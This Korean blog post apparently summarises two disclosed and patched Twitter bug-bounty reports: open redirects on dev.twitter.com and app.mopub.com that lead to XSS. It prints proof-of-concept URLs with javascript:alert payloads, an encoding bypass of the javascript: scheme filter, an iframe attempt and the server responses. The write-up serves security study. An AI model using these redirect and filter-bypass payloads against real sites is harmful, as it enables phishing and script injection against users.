-
[Bugbounty Study] #Twitter _ Open Redirect to XSSStudy/Bugbounty Study 2020. 12. 3. 23:21
# dev.twitter.com Open Redirect to XSS_ $1,120
이전에 제보된 리포트를 읽은 후, 서브 도메인을 테스트하였고, 아래 링크에서 Open Redirect가 가능하다는 것을 발견하였다.
https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/basics/adding-international-support-to-your-apps%255D
[PoC: Open Redirect]
https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/http://grini25.com/
[HTTP Response]
HTTP/1.1 302 Found
location: http://grini25.com
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="http://grini25.com"> http://grini25.com</a>. If not click the link.[PoC: XSS]
https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/javascript:alert(1)/
[HTTP Response]
HTTP/1.1 302 Found
location: javascript:alert(1)
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="javascript:alert(1)">javascript:alert(1)</a>. If not click the link.[PoC: ClickJacking]
<iframe src="https://dev.twitter.com/web/sign-inhttps://dev.twitter.com/http://grini25.com/" sandbox="allow-forms"></iframe>
그러나, 위의 페이로드는 공격에 실패하여 아래와 같이 브라우저 상에서 에러가 발생한다.
에러가 발생하는 이유는 response header의 location 값에 javascript: URI 스킴 필터링 되어 있기 때문이다.
패치되지 않은 브라우저에서 테스트한 것으로 추측된다.따라서, 원작자는 해당 필터링을 우회하여 XSS를 발생시키는 PoC로 다시 제보하였다.
[PoC]
https://dev.twitter.com//web%252f:2/://%2501javascript:alert(1)/
https://dev.twitter.com//web%252f:1/://%2501javascript:alert(1)/[HTTP Response]
HTTP/1.1 302 Found
location: //web%2f:1/://dev.twitter.com/%01javascript:alert(1)
....
You should be redirected automatically to target URL: <a href="%01javascript:alert(1)">javascript:alert(1)</a>
i can see the html code,this is a good start,but javascript can not execute,
if i can bypass this protection.i will tell you again.otherwize,you do it according to open redirection.위 페이로드는 javascript: URI가 아닌 web://으로 필터링을 우회하여 XSS를 발생시킨다.
# mopub.com Open Redirect to XSS _ $1,540
mopub은 2010년 창립 된 twitter의 자회사로 twitter의 Bugbounty 프로그램 대상 중 하나이다.
해당 취약점은 javascript URI 필터링이 제대로 되어있지 않아 발생한 취약점이다.
우선 MoPub의 로그인 페이지에서 Open Redirect를 발견하였는데, 심지어 javascript URI를 허용하고 있었다.
이는 XSS 공격으로 이어질 수 있다.
[재현 방법]
1. 로그인 페이지의 해당 URL을 얻는다.
https://app.mopub.com/login?next=https://google.com
2. next 파라미터를 javascript:alert("grini25")로 수정한다.
3. 해당 URL에 접근하여 로그인한다.
4. Redirect 된다.[PoC]
https://app.mopub.com/login?next=javascript:alert("proof of concept")
[PoC Video]
javascript URI를 허용하였기에 XSS를 발생시는 벡터가 될 수 있고, URL 인코딩을 통해 공격자가 Redirect 되는 페이지를 숨길 수도 있다.
※ 위 두개의 취약점은 현재 모두 패치 된 상태이다.
'Study > Bugbounty Study' 카테고리의 다른 글
[Bugbounty Study] #Amazon S3 _ Sensitive Data Exposure (0) 2020.12.29 [Bugbounty Study] #Facebook (0) 2020.12.17 [Bugbounty Study] #Dropbox _ SSRF (0) 2020.11.25 [Bugbounty Study] #Bugcrowd _ CSRF (0) 2020.04.13 [Bugbounty Study] #Facebook _ CSRF (0) 2020.04.13 댓글